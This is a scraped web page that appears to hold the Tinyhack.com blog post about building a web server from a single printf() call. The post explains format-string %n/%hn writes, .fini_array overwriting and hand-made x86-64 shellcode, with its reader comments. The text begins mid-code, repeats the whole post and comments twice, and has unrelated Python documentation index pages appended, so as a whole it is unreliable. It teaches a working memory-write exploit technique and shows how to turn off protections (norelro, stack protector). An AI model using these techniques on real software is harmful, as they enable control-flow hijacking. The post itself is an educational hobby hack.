"\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/?p=280 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://docs.python.org/2.7/ | Python 2.7.18 documentation This document is for an old version of Python that is no longer supported . You should upgrade and read the Python documentation for the current stable release . Navigation index modules | Python » Python 2.7.18 documentation » Python 2.7.18 documentation Welcome! This is the documentation for Python 2.7.18. Parts of the documentation: What's new in Python 2.7? or all "What's new" documents since 2.0 Tutorial start here Library Reference keep this under your pillow Language Reference describes syntax and language elements Python Setup and Usage how to use Python on different platforms Python HOWTOs in-depth documents on specific topics Installing Python Modules installing from the Python Package Index & other sources Distributing Python Modules publishing modules for installation by others Extending and Embedding tutorial for C/C++ programmers Python/C API reference for C/C++ programmers FAQs frequently asked questions (with answers!) Indices and tables: Global Module Index quick access to all modules General Index all functions, classes, terms Glossary the most important terms explained Search page search this documentation Complete Table of Contents lists all sections and subsections Meta information: Reporting bugs About the documentation History and License of Python Copyright Download Download these documents Other resources PEP Index Beginner's Guide Book List Audio/Visual Talks Python Developer’s Guide Navigation index modules | Python » Python 2.7.18 documentation » © Copyright 1990-2020, Python Software Foundation. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Jun 19, 2020. Found a bug ? Created using Sphinx 2.3.1. | 2026-01-13T08:48:55 |
https://docs.python.org/genindex.html | Index — Python 3.14.2 documentation Theme Auto Light Dark Navigation index modules | Python » 3.14.2 Documentation » Index | Theme Auto Light Dark | Index Index pages by letter: Symbols | _ | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z Full index on one page (can be huge) « Navigation index modules | Python » 3.14.2 Documentation » Index | Theme Auto Light Dark | © Copyright 2001 Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. See History and License for more information. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Jan 13, 2026 (06:19 UTC). Found a bug ? Created using Sphinx 8.2.3. | 2026-01-13T08:48:55 |
